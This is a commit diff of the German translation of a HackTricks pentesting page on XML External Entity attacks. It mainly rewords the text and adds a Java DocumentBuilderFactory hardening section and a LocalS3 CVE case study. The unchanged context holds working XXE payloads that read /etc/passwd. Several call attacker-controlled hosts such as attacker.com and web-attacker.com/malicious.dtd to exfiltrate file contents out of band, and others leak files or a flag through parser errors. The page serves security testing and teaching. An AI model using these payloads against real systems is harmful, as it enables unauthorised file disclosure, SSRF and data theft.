Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to de

2025-10-10 18:36:50 +00:00 · 2025-07-28 12:29:13 +00:00 · 2025-07-28 12:29:13 +00:00 · 0f603a88c9
commit 0f603a88c9
parent 0be1b958d8
1 changed files with 63 additions and 35 deletions
--- a/src/pentesting-web/xxe-xee-xml-external-entity.md
+++ b/src/pentesting-web/xxe-xee-xml-external-entity.md
@ -1,10 +1,5 @@
 # XXE - XEE - XML External Entity

-{{#include /banners/hacktricks-training.md}}
-
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
-
 {{#include ../banners/hacktricks-training.md}}

 ## XML Grundlagen
@ -13,15 +8,15 @@ XML ist eine Auszeichnungssprache, die für die Speicherung und den Transport vo

 - **Datenrepräsentation durch Entitäten**: Entitäten in XML ermöglichen die Darstellung von Daten, einschließlich spezieller Zeichen wie `&lt;` und `&gt;`, die `<` und `>` entsprechen, um Konflikte mit dem Tag-System von XML zu vermeiden.
 - **Definition von XML-Elementen**: XML ermöglicht die Definition von Elementtypen, die festlegen, wie Elemente strukturiert sein sollten und welchen Inhalt sie enthalten dürfen, von beliebigem Inhalt bis hin zu spezifischen Kind-Elementen.
- **Dokumenttypdefinition (DTD)**: DTDs sind in XML entscheidend für die Definition der Struktur des Dokuments und der Arten von Daten, die es enthalten kann. Sie können intern, extern oder eine Kombination sein und leiten, wie Dokumente formatiert und validiert werden.
+- **Dokumenttypdefinition (DTD)**: DTDs sind entscheidend in XML, um die Struktur des Dokuments und die Arten von Daten, die es enthalten kann, zu definieren. Sie können intern, extern oder eine Kombination sein und leiten, wie Dokumente formatiert und validiert werden.
 - **Benutzerdefinierte und externe Entitäten**: XML unterstützt die Erstellung benutzerdefinierter Entitäten innerhalb einer DTD für eine flexible Datenrepräsentation. Externe Entitäten, die mit einer URL definiert sind, werfen Sicherheitsbedenken auf, insbesondere im Kontext von XML External Entity (XXE)-Angriffen, die die Art und Weise ausnutzen, wie XML-Parser externe Datenquellen behandeln: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **XXE-Erkennung mit Parameter-Entitäten**: Zur Erkennung von XXE-Schwachstellen, insbesondere wenn herkömmliche Methoden aufgrund von Sicherheitsmaßnahmen des Parsers fehlschlagen, können XML-Parameter-Entitäten genutzt werden. Diese Entitäten ermöglichen Out-of-Band-Erkennungstechniken, wie das Auslösen von DNS-Abfragen oder HTTP-Anfragen an eine kontrollierte Domain, um die Schwachstelle zu bestätigen.
+- **XXE-Erkennung mit Parameterentitäten**: Zur Erkennung von XXE-Schwachstellen, insbesondere wenn herkömmliche Methoden aufgrund von Sicherheitsmaßnahmen des Parsers fehlschlagen, können XML-Parameterentitäten verwendet werden. Diese Entitäten ermöglichen Out-of-Band-Erkennungstechniken, wie das Auslösen von DNS-Abfragen oder HTTP-Anfragen an eine kontrollierte Domain, um die Schwachstelle zu bestätigen.
 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`

 ## Hauptangriffe

-[**Die meisten dieser Angriffe wurden mit den großartigen Portswiggers XEE-Labs getestet: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
+[**Die meisten dieser Angriffe wurden mit den großartigen Portswigger XEE-Labs getestet: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)

 ### Neuer Entitätstest

@ -88,13 +83,13 @@ Ein XXE könnte verwendet werden, um eine SSRF in einer Cloud auszunutzen.
 ```
 ### Blind SSRF

-Mit der **zuvor kommentierten Technik** können Sie den Server dazu bringen, auf einen Server zuzugreifen, den Sie kontrollieren, um zu zeigen, dass er anfällig ist. Wenn das jedoch nicht funktioniert, liegt es möglicherweise daran, dass **XML-Entitäten nicht erlaubt sind**. In diesem Fall könnten Sie versuchen, **XML-Parameterentitäten** zu verwenden:
+Mit der **vorher kommentierten Technik** kannst du den Server dazu bringen, auf einen Server zuzugreifen, den du kontrollierst, um zu zeigen, dass er anfällig ist. Wenn das jedoch nicht funktioniert, liegt es möglicherweise daran, dass **XML-Entitäten nicht erlaubt sind**. In diesem Fall könntest du versuchen, **XML-Parameterentitäten** zu verwenden:
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
 ```
-### "Blind" SSRF - Daten außerhalb des Bandes exfiltrieren
+### "Blind" SSRF - Exfiltriere Daten außerhalb des Bandes

 **In diesem Fall werden wir den Server dazu bringen, eine neue DTD mit einer bösartigen Payload zu laden, die den Inhalt einer Datei über eine HTTP-Anfrage sendet (für mehrzeilige Dateien könnten Sie versuchen, sie über \_ftp://**\_ zu exfiltrieren, indem Sie beispielsweise diesen einfachen Server verwenden [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Diese Erklärung basiert auf** [**Portswiggers Lab hier**](https://portswigger.net/web-security/xxe/blind)**.**

@ -111,9 +106,9 @@ Die Struktur ist wie folgt:
 ```
 Die von diesem DTD ausgeführten Schritte umfassen:

-1. **Definition von Parameterentitäten:**
- Eine XML-Parameterentität, `%file`, wird erstellt, die den Inhalt der Datei `/etc/hostname` liest.
- Eine weitere XML-Parameterentität, `%eval`, wird definiert. Sie erklärt dynamisch eine neue XML-Parameterentität, `%exfiltrate`. Die `%exfiltrate`-Entität ist so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet und den Inhalt der `%file`-Entität innerhalb der Abfragezeichenfolge der URL übergibt.
+1. **Definition von Parameter-Entitäten:**
+- Eine XML-Parameter-Entität, `%file`, wird erstellt, die den Inhalt der Datei `/etc/hostname` liest.
+- Eine weitere XML-Parameter-Entität, `%eval`, wird definiert. Sie erklärt dynamisch eine neue XML-Parameter-Entität, `%exfiltrate`. Die `%exfiltrate`-Entität ist so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet, wobei der Inhalt der `%file`-Entität innerhalb der Abfragezeichenfolge der URL übergeben wird.
 2. **Ausführung von Entitäten:**
 - Die `%eval`-Entität wird verwendet, was zur Ausführung der dynamischen Deklaration der `%exfiltrate`-Entität führt.
 - Die `%exfiltrate`-Entität wird dann verwendet, was eine HTTP-Anfrage an die angegebene URL mit dem Inhalt der Datei auslöst.
@ -126,7 +121,7 @@ Der Angreifer hostet dieses bösartige DTD auf einem Server unter seiner Kontrol
 <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
 ```
-Dieses Payload definiert eine XML-Parameterentität `%xxe` und integriert sie in die DTD. Wenn sie von einem XML-Parser verarbeitet wird, ruft dieses Payload die externe DTD vom Server des Angreifers ab. Der Parser interpretiert dann die DTD inline, führt die in der bösartigen DTD skizzierten Schritte aus und führt zur Exfiltration der Datei `/etc/hostname` auf den Server des Angreifers.
+Dieses Payload definiert eine XML-Parameterentität `%xxe` und integriert sie innerhalb der DTD. Wenn sie von einem XML-Parser verarbeitet wird, ruft dieses Payload die externe DTD vom Server des Angreifers ab. Der Parser interpretiert dann die DTD inline, führt die in der bösartigen DTD skizzierten Schritte aus und führt zur Exfiltration der Datei `/etc/hostname` auf den Server des Angreifers.

 ### Fehlerbasiert (Externe DTD)

@ -135,7 +130,7 @@ Dieses Payload definiert eine XML-Parameterentität `%xxe` und integriert sie in
 Eine XML-Parsing-Fehlermeldung, die den Inhalt der Datei `/etc/passwd` offenbart, kann durch eine bösartige externe Document Type Definition (DTD) ausgelöst werden. Dies wird durch die folgenden Schritte erreicht:

 1. Eine XML-Parameterentität namens `file` wird definiert, die den Inhalt der Datei `/etc/passwd` enthält.
-2. Eine XML-Parameterentität namens `eval` wird definiert, die eine dynamische Deklaration für eine andere XML-Parameterentität namens `error` integriert. Diese `error`-Entität versucht, eine nicht vorhandene Datei zu laden, wobei der Inhalt der `file`-Entität als Name verwendet wird.
+2. Eine XML-Parameterentität namens `eval` wird definiert, die eine dynamische Deklaration für eine andere XML-Parameterentität namens `error` integriert. Diese `error`-Entität versucht, beim Auswerten eine nicht vorhandene Datei zu laden, wobei der Inhalt der `file`-Entität als Name verwendet wird.
 3. Die `eval`-Entität wird aufgerufen, was zur dynamischen Deklaration der `error`-Entität führt.
 4. Der Aufruf der `error`-Entität führt zu dem Versuch, eine nicht vorhandene Datei zu laden, was eine Fehlermeldung erzeugt, die den Inhalt der Datei `/etc/passwd` als Teil des Dateinamens enthält.

@ -149,7 +144,7 @@ Bei der Ausführung sollte die Antwort des Webservers eine Fehlermeldung enthalt

 ![](<../images/image (809).png>)

-_**Bitte beachten Sie, dass externe DTD es uns ermöglicht, eine Entität innerhalb des zweiten `eval` einzuschließen, dies jedoch in der internen DTD verboten ist. Daher können Sie normalerweise keinen Fehler erzwingen, ohne eine externe DTD zu verwenden.**_
+_**Bitte beachten Sie, dass externe DTD es uns ermöglicht, eine Entität innerhalb der zweiten `eval` einzuschließen, dies jedoch in der internen DTD verboten ist. Daher können Sie normalerweise keinen Fehler erzwingen, ohne eine externe DTD zu verwenden.**_

 ### **Fehlerbasiert (System DTD)**

@ -157,7 +152,7 @@ Was ist also mit blinden XXE-Schwachstellen, wenn **out-of-band Interaktionen bl

 Ein Schlupfloch in der XML-Spezifikation kann **sensible Daten durch Fehlermeldungen offenlegen, wenn die DTD eines Dokuments interne und externe Deklarationen mischt**. Dieses Problem ermöglicht die interne Neudefinition von extern deklarierten Entitäten, was die Durchführung von fehlerbasierten XXE-Angriffen erleichtert. Solche Angriffe nutzen die Neudefinition einer XML-Parameterentität aus, die ursprünglich in einer externen DTD deklariert wurde, aus einer internen DTD heraus. Wenn out-of-band Verbindungen vom Server blockiert werden, müssen Angreifer auf lokale DTD-Dateien zurückgreifen, um den Angriff durchzuführen, mit dem Ziel, einen Parsing-Fehler zu induzieren, um sensible Informationen offenzulegen.

-Betrachten Sie ein Szenario, in dem das Dateisystem des Servers eine DTD-Datei unter `/usr/local/app/schema.dtd` enthält, die eine Entität namens `custom_entity` definiert. Ein Angreifer kann einen XML-Parsing-Fehler induzieren, der den Inhalt der Datei `/etc/passwd` offenlegt, indem er eine hybride DTD wie folgt einreicht:
+Betrachten Sie ein Szenario, in dem das Dateisystem des Servers eine DTD-Datei unter `/usr/local/app/schema.dtd` enthält, die eine Entität namens `custom_entity` definiert. Ein Angreifer kann einen XML-Parsing-Fehler induzieren, der den Inhalt der Datei `/etc/passwd` offenbart, indem er eine hybride DTD wie folgt einreicht:
 ```xml
 <!DOCTYPE foo [
 <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -204,13 +199,13 @@ Für weitere Informationen siehe [https://portswigger.net/web-security/xxe/blind

 ### DTDs im System finden

-In dem folgenden großartigen GitHub-Repo kannst du **Pfade von DTDs finden, die im System vorhanden sein können**:
+In dem folgenden großartigen GitHub-Repo kannst du **Pfade von DTDs, die im System vorhanden sein können**, finden:

 {{#ref}}
 https://github.com/GoSecure/dtd-finder/tree/master/list
 {{#endref}}

-Darüber hinaus, wenn du das **Docker-Image des Opfersystems** hast, kannst du das Tool aus demselben Repo verwenden, um das **Image** zu **scannen** und den Pfad der **DTDs** im System zu **finden**. Lies das [Readme des GitHub](https://github.com/GoSecure/dtd-finder), um zu erfahren, wie.
+Darüber hinaus, wenn du das **Docker-Image des Opfersystems** hast, kannst du das Tool aus demselben Repo verwenden, um das **Image** zu **scannen** und den Pfad der **im System vorhandenen DTDs** zu **finden**. Lies das [Readme des GitHub](https://github.com/GoSecure/dtd-finder), um zu erfahren, wie.
 ```bash
 java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

@ -224,13 +219,13 @@ Testing 0 entities : []
 ```
 ### XXE über Office Open XML Parser

-Für eine detailliertere Erklärung dieses Angriffs, **sehen Sie sich den zweiten Abschnitt von** [**diesem erstaunlichen Beitrag**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **von Detectify** an.
+Für eine detailliertere Erklärung dieses Angriffs, **sehen Sie sich den zweiten Abschnitt von** [**diesem erstaunlichen Beitrag**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **von Detectify an**.

-Die Möglichkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Webanwendungen angeboten**, die dann bestimmte Details aus diesen Dokumenten extrahieren. Eine Webanwendung kann beispielsweise Benutzern erlauben, Daten durch das Hochladen einer XLSX-Format-Tabelle zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei parsen.
+Die Möglichkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Webanwendungen angeboten**, die dann bestimmte Details aus diesen Dokumenten extrahieren. Beispielsweise kann eine Webanwendung Benutzern erlauben, Daten durch das Hochladen einer XLSX-Format-Tabelle zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei parsen.

 Um diese Schwachstelle zu testen, ist es notwendig, eine **Microsoft Office-Datei mit einem XXE-Payload zu erstellen**. Der erste Schritt besteht darin, ein leeres Verzeichnis zu erstellen, in das das Dokument entpackt werden kann.

-Sobald das Dokument entpackt ist, sollte die XML-Datei, die sich unter `./unzipped/word/document.xml` befindet, in einem bevorzugten Texteditor (wie vim) geöffnet und bearbeitet werden. Die XML sollte so modifiziert werden, dass der gewünschte XXE-Payload enthalten ist, der oft mit einer HTTP-Anfrage beginnt.
+Sobald das Dokument entpackt wurde, sollte die XML-Datei, die sich unter `./unzipped/word/document.xml` befindet, in einem bevorzugten Texteditor (wie vim) geöffnet und bearbeitet werden. Die XML sollte so modifiziert werden, dass der gewünschte XXE-Payload enthalten ist, der oft mit einer HTTP-Anfrage beginnt.

 Die modifizierten XML-Zeilen sollten zwischen den beiden Wurzel-XML-Objekten eingefügt werden. Es ist wichtig, die URL durch eine überwachbare URL für Anfragen zu ersetzen.

@ -250,10 +245,10 @@ jar:https://download.host.com/myarchive.zip!/file.txt

 Der Prozess, um auf eine Datei innerhalb eines PKZIP-Archivs über das Jar-Protokoll zuzugreifen, umfasst mehrere Schritte:

-1. Eine HTTP-Anfrage wird gestellt, um das Zip-Archiv von einem bestimmten Ort herunterzuladen, wie z.B. `https://download.website.com/archive.zip`.
+1. Eine HTTP-Anfrage wird gesendet, um das Zip-Archiv von einem bestimmten Ort herunterzuladen, wie z.B. `https://download.website.com/archive.zip`.
 2. Die HTTP-Antwort, die das Archiv enthält, wird vorübergehend auf dem System gespeichert, typischerweise an einem Ort wie `/tmp/...`.
-3. Das Archiv wird dann extrahiert, um auf den Inhalt zuzugreifen.
-4. Die spezifische Datei im Archiv, `file.zip`, wird gelesen.
+3. Das Archiv wird dann extrahiert, um auf seinen Inhalt zuzugreifen.
+4. Die spezifische Datei innerhalb des Archivs, `file.zip`, wird gelesen.
 5. Nach dem Vorgang werden alle temporären Dateien, die während dieses Prozesses erstellt wurden, gelöscht.

 Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen, besteht darin, die Serververbindung unbegrenzt offen zu halten, während die Archivdatei bereitgestellt wird. Werkzeuge, die in [diesem Repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) verfügbar sind, können dafür verwendet werden, einschließlich eines Python-Servers (`slow_http_server.py`) und eines Java-Servers (`slowserver.jar`).
@ -262,7 +257,7 @@ Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen,
 <foo>&xxe;</foo>
 ```
 > [!CAUTION]
-> Das Schreiben von Dateien in ein temporäres Verzeichnis kann helfen, **eine andere Schwachstelle auszunutzen, die eine Pfad Traversierung beinhaltet** (wie lokale Dateieinbindung, Template-Injection, XSLT RCE, Deserialisierung usw.).
+> Das Schreiben von Dateien in ein temporäres Verzeichnis kann helfen, **eine andere Schwachstelle auszunutzen, die eine Pfad Traversierung beinhaltet** (wie lokale Datei-Einbindung, Template-Injection, XSLT RCE, Deserialisierung usw.).

 ### XSS
 ```xml
@ -341,13 +336,13 @@ Eine weitere Methode besteht darin, zu versuchen, **Befehle auszuführen** über
 ```
 In beiden Fällen wird das SVG-Format verwendet, um Angriffe zu starten, die die XML-Verarbeitungsfähigkeiten der Software des Servers ausnutzen, was die Notwendigkeit robuster Eingangsvalidierung und Sicherheitsmaßnahmen hervorhebt.

-Überprüfen Sie [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) für weitere Informationen!
+Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!

 **Beachten Sie, dass die erste Zeile der gelesenen Datei oder des Ergebnisses der Ausführung INDEM erstellten Bild erscheint. Sie müssen also in der Lage sein, auf das Bild zuzugreifen, das SVG erstellt hat.**

 ### **PDF - Datei-Upload**

-Lesen Sie den folgenden Beitrag, um **zu erfahren, wie man eine XXE beim Hochladen einer PDF-Datei ausnutzt**:
+Lesen Sie den folgenden Beitrag, um **zu lernen, wie man eine XXE beim Hochladen einer PDF-Datei ausnutzt**:

 {{#ref}}
 file-upload/pdf-upload-xxe-and-cors-bypass.md
@ -409,7 +404,7 @@ Ein weiteres Beispiel finden Sie [hier](https://medium.com/hmif-itb/googlectf-20
 ```xml
 <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
 ```
-Dies funktioniert nur, wenn der XML-Server das `data://`-Protokoll akzeptiert.
+Das funktioniert nur, wenn der XML-Server das `data://`-Protokoll akzeptiert.

 ### UTF-7

@ -528,7 +523,7 @@ Error-Based Data Exfiltration Um diese Einschränkung zu überwinden, wird ein E
 %foo;
 %xxe;
 ```
-Der Server antwortet mit einem Fehler, der wichtig auf die nicht vorhandene Datei hinweist und anzeigt, dass der Server versucht, auf die angegebene Datei zuzugreifen:
+Der Server antwortet mit einem Fehler, der wichtig auf die nicht vorhandene Datei hinweist und darauf hindeutet, dass der Server versucht, auf die angegebene Datei zuzugreifen:
 ```javascript
 {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
 ```
@ -547,7 +542,7 @@ Gültiges XML im RSS-Format zur Ausnutzung einer XXE-Schwachstelle.

 ### Ping back

-Einfacher HTTP-Anfrage an den Server des Angreifers
+Einfacher HTTP-Anfrage an den Server des Angreifers.
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE title [ <!ELEMENT title ANY >
@ -614,7 +609,7 @@ Verwendung des PHP base64-Filters
 ```
 ## Java XMLDecoder XEE zu RCE

-XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein böswilliger Benutzer eine Anwendung dazu bringen kann, willkürliche Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Codeausführung auf dem Server.
+XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein böswilliger Benutzer eine Anwendung dazu bringen kann, willkürliche Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Möglichkeit zur Codeausführung auf dem Server.

 ### Verwendung von Runtime().exec()
 ```xml
@ -692,13 +687,13 @@ https://github.com/luisfontes19/xxexploiter
 > Die Python-Bibliothek **lxml** verwendet **libxml2** im Hintergrund. Versionen vor **lxml 5.4.0 / libxml2 2.13.8** erweitern weiterhin *Parameter*-Entitäten, selbst wenn `resolve_entities=False` gesetzt ist, wodurch sie erreichbar sind, wenn die Anwendung `load_dtd=True` und/oder `resolve_entities=True` aktiviert. Dies ermöglicht fehlerbasierte XXE-Payloads, die den Inhalt lokaler Dateien in die Parser-Fehlermeldung einbetten.

 #### 1. Ausnutzen von lxml < 5.4.0
-1. Identifiziere oder erstelle eine *lokale* DTD auf der Festplatte, die eine **undefinierte** Parameterentität definiert (z. B. `%config_hex;`).
+1. Identifiziere oder erstelle eine *lokale* DTD auf der Festplatte, die eine **undefinierte** Parameterentität definiert (z.B. `%config_hex;`).
 2. Erstelle eine interne DTD, die:
 * Die lokale DTD mit `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` lädt.
 * Die undefinierte Entität so umdefiniert, dass sie:
 - Die Zieldatei liest (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
 - Eine weitere Parameterentität erstellt, die auf einen **ungültigen Pfad** verweist, der den Wert `%flag;` enthält und einen Parserfehler auslöst (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
-3. Schließlich erweitere `%local_dtd;` und `%eval;`, sodass der Parser auf `%error;` stößt, `/aaa/<FLAG>` nicht öffnen kann und das Flag innerhalb der ausgelösten Ausnahme leakt – was oft von der Anwendung an den Benutzer zurückgegeben wird.
+3. Schließlich erweitere `%local_dtd;` und `%eval;`, sodass der Parser auf `%error;` stößt, nicht in der Lage ist, `/aaa/<FLAG>` zu öffnen und das Flag innerhalb der ausgelösten Ausnahme leakt – was oft von der Anwendung an den Benutzer zurückgegeben wird.
 ```xml
 <!DOCTYPE colors [
 <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
@ -733,7 +728,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
 ```
 #### Wichtige Erkenntnisse
 * **Parameter-Entitäten** werden weiterhin von libxml2 erweitert, selbst wenn `resolve_entities` XXE blockieren sollte.
-* Eine **ungültige URI** oder **nicht existierende Datei** reicht aus, um kontrollierte Daten in die ausgelöste Ausnahme zu concatenieren.
+* Eine **ungültige URI** oder **nicht vorhandene Datei** reicht aus, um kontrollierte Daten in die ausgelöste Ausnahme zu concatenieren.
 * Die Technik funktioniert **ohne ausgehende Konnektivität**, was sie ideal für streng gefilterte Umgebungen macht.

 #### Minderungshinweise
@ -741,8 +736,41 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
 * Deaktivieren Sie `load_dtd` und/oder `resolve_entities`, es sei denn, es ist absolut erforderlich.
 * Vermeiden Sie es, rohe Parser-Fehler an den Client zurückzugeben.

+### Beispiel zur Härtung von Java DocumentBuilderFactory
+
+Java-Anwendungen analysieren häufig XML mit `DocumentBuilderFactory`. Standardmäßig **erlaubt die Fabrik die Auflösung externer Entitäten**, was sie anfällig für XXE und SSRF macht, wenn keine zusätzlichen Härtungsflags gesetzt sind:
+```java
+DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
+```
+Sicherheitskonfiguration Beispiel:
+```java
+DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+
+// Completely forbid any DOCTYPE declarations (best-effort defence)
+dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
+
+// Disable expansion of external entities
+dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
+dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+
+// Enable "secure processing" which applies additional limits
+dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
+
+// Defensive extras
+dbf.setXIncludeAware(false);
+dbf.setExpandEntityReferences(false);
+
+DocumentBuilder builder = dbf.newDocumentBuilder();
+```
+Wenn die Anwendung DTDs intern unterstützen muss, lassen Sie `disallow-doctype-decl` deaktiviert, aber **lassen Sie** die beiden `external-*-entities` Funktionen **immer** auf `false` gesetzt. Diese Kombination verhindert klassische Datei-Offenlegungs-Payloads (`file:///etc/passwd`) sowie netzwerkbasierte SSRF-Vektoren (`http://169.254.169.254/…`, `jar:`-Protokoll usw.).
+
+Fallstudie aus der Praxis: **CVE-2025-27136** im Java S3-Emulator *LocalS3* verwendete den oben gezeigten anfälligen Konstruktor. Ein nicht authentifizierter Angreifer konnte einen manipulierten XML-Körper an den `CreateBucketConfiguration`-Endpunkt übermitteln und den Server dazu bringen, lokale Dateien (zum Beispiel `/etc/passwd`) in die HTTP-Antwort einzubetten.
+
 ## Referenzen

+- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
+
 - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
 - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
 - Informationen über HTTP mit eigener externer DTD extrahieren: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)